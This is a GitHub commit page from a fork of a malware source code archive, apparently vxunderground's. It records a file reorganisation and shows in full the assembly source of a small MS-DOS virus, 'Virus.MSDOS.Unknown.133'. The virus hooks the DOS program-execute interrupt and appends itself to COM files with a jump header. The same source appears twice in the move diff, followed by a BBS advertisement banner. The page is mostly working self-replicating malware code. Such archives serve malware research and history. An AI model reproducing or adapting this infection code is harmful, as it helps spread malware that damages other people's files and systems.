forked from vxunderground/MalwareSourceCode
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Showing
1,392 changed files
with
607,600 additions
and
607,600 deletions.
There are no files selected for viewing
824 changes: 412 additions & 412 deletions
824
MSDOS/Virus.MSDOS.Unknown.100%-1.asm → ... - 9 Index/Virus.MSDOS.Unknown.100%-1.asm
Large diffs are not rendered by default.
Oops, something went wrong.
824 changes: 412 additions & 412 deletions
824
MSDOS/Virus.MSDOS.Unknown.100%.asm → .../0 - 9 Index/Virus.MSDOS.Unknown.100%.asm
Large diffs are not rendered by default.
Oops, something went wrong.
634 changes: 317 additions & 317 deletions
634
MSDOS/Virus.MSDOS.Unknown.1200.asm → .../0 - 9 Index/Virus.MSDOS.Unknown.1200.asm
Large diffs are not rendered by default.
Oops, something went wrong.
198 changes: 99 additions & 99 deletions
198
MSDOS/Virus.MSDOS.Unknown.133.asm → ...S/0 - 9 Index/Virus.MSDOS.Unknown.133.asm
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,99 +1,99 @@ | ||
VSize=085h | ||
|
||
Code Segment | ||
Assume CS:Code | ||
org 0 | ||
db 4Dh | ||
jmp Start | ||
|
||
Org 600h | ||
|
||
Bytes db 0CDh,20h,90h,90h | ||
|
||
Start: mov si, 0100h | ||
mov bx, offset Int21 | ||
mov cx, 0050h | ||
mov di, si | ||
add si, [si+2] | ||
push di | ||
movsw | ||
movsw | ||
mov es, cx | ||
cmpsb | ||
je StartFile | ||
dec si | ||
dec di | ||
rep movsw | ||
mov es, cx | ||
xchg ax, bx | ||
xchg ax, cx | ||
Loop0: xchg ax, cx | ||
xchg ax, word ptr es:[di-120h] | ||
stosw | ||
jcxz Loop0 | ||
xchg ax, bx | ||
StartFile: | ||
push ds | ||
pop es | ||
ret | ||
|
||
Int21: cmp ax, 4B00h | ||
jne End21 | ||
Exec: push ax | ||
push bx | ||
push dx | ||
push ds | ||
push es | ||
mov ax, 3D02h | ||
call DoInt21 | ||
jc EndExec | ||
cbw ;Zero AH | ||
cwd ;Zero DX | ||
mov bx, si ;Move handle to BX | ||
mov ds, ax ;Set DS and ES to 60h, | ||
mov es, ax ;the virus data segment | ||
mov ah, 3Fh ;Read first 4 bytes | ||
int 69h | ||
mov al, 4Dh | ||
scasb ;Check for 4D5Ah or infected file mark | ||
je Close ;.EXE or already infected | ||
mov al, 2 | ||
call LSeek ;Seek to the end, SI now contains file size | ||
mov cl, VSize ;Virus size in CX, prepare to write | ||
int 69h ;AH is 40h, i.e. Write operation | ||
mov ax, 0E94Dh ;Virus header in AX | ||
stosw ;Store it | ||
xchg ax, si ;Move file size in AX | ||
stosw ;Complete JMP instruction | ||
xchg ax, dx ;Zero AX | ||
call LSeek ;Seek to the beginning | ||
int 69h ;AH is 40h, write the virus header | ||
Close: mov ah,3Eh ;Close the file | ||
int 69h | ||
EndExec: pop es | ||
pop ds | ||
pop dx | ||
pop bx | ||
pop ax | ||
End21: jmp dword ptr cs:[69h * 4] | ||
|
||
LSeek: mov ah, 42h ;Seek operation | ||
cwd ;Zero DX | ||
DoInt21: xor cx, cx ;External entry for Open, zero cx | ||
int 69h | ||
mov cl, 4 ;4 bytes will be read/written | ||
xchg ax, si ;Store AX in SI | ||
mov ax, 4060h ;Prepare AH for Write | ||
xor di, di ;Zero DI | ||
ret | ||
|
||
VLen = $ - offset Bytes | ||
|
||
Code EndS | ||
End | ||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ | ||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ | ||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ | ||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ | ||
|
||
VSize=085h | ||
|
||
Code Segment | ||
Assume CS:Code | ||
org 0 | ||
db 4Dh | ||
jmp Start | ||
|
||
Org 600h | ||
|
||
Bytes db 0CDh,20h,90h,90h | ||
|
||
Start: mov si, 0100h | ||
mov bx, offset Int21 | ||
mov cx, 0050h | ||
mov di, si | ||
add si, [si+2] | ||
push di | ||
movsw | ||
movsw | ||
mov es, cx | ||
cmpsb | ||
je StartFile | ||
dec si | ||
dec di | ||
rep movsw | ||
mov es, cx | ||
xchg ax, bx | ||
xchg ax, cx | ||
Loop0: xchg ax, cx | ||
xchg ax, word ptr es:[di-120h] | ||
stosw | ||
jcxz Loop0 | ||
xchg ax, bx | ||
StartFile: | ||
push ds | ||
pop es | ||
ret | ||
|
||
Int21: cmp ax, 4B00h | ||
jne End21 | ||
Exec: push ax | ||
push bx | ||
push dx | ||
push ds | ||
push es | ||
mov ax, 3D02h | ||
call DoInt21 | ||
jc EndExec | ||
cbw ;Zero AH | ||
cwd ;Zero DX | ||
mov bx, si ;Move handle to BX | ||
mov ds, ax ;Set DS and ES to 60h, | ||
mov es, ax ;the virus data segment | ||
mov ah, 3Fh ;Read first 4 bytes | ||
int 69h | ||
mov al, 4Dh | ||
scasb ;Check for 4D5Ah or infected file mark | ||
je Close ;.EXE or already infected | ||
mov al, 2 | ||
call LSeek ;Seek to the end, SI now contains file size | ||
mov cl, VSize ;Virus size in CX, prepare to write | ||
int 69h ;AH is 40h, i.e. Write operation | ||
mov ax, 0E94Dh ;Virus header in AX | ||
stosw ;Store it | ||
xchg ax, si ;Move file size in AX | ||
stosw ;Complete JMP instruction | ||
xchg ax, dx ;Zero AX | ||
call LSeek ;Seek to the beginning | ||
int 69h ;AH is 40h, write the virus header | ||
Close: mov ah,3Eh ;Close the file | ||
int 69h | ||
EndExec: pop es | ||
pop ds | ||
pop dx | ||
pop bx | ||
pop ax | ||
End21: jmp dword ptr cs:[69h * 4] | ||
|
||
LSeek: mov ah, 42h ;Seek operation | ||
cwd ;Zero DX | ||
DoInt21: xor cx, cx ;External entry for Open, zero cx | ||
int 69h | ||
mov cl, 4 ;4 bytes will be read/written | ||
xchg ax, si ;Store AX in SI | ||
mov ax, 4060h ;Prepare AH for Write | ||
xor di, di ;Zero DI | ||
ret | ||
|
||
VLen = $ - offset Bytes | ||
|
||
Code EndS | ||
End | ||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ | ||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ | ||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ | ||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ | ||
|
Oops, something went wrong.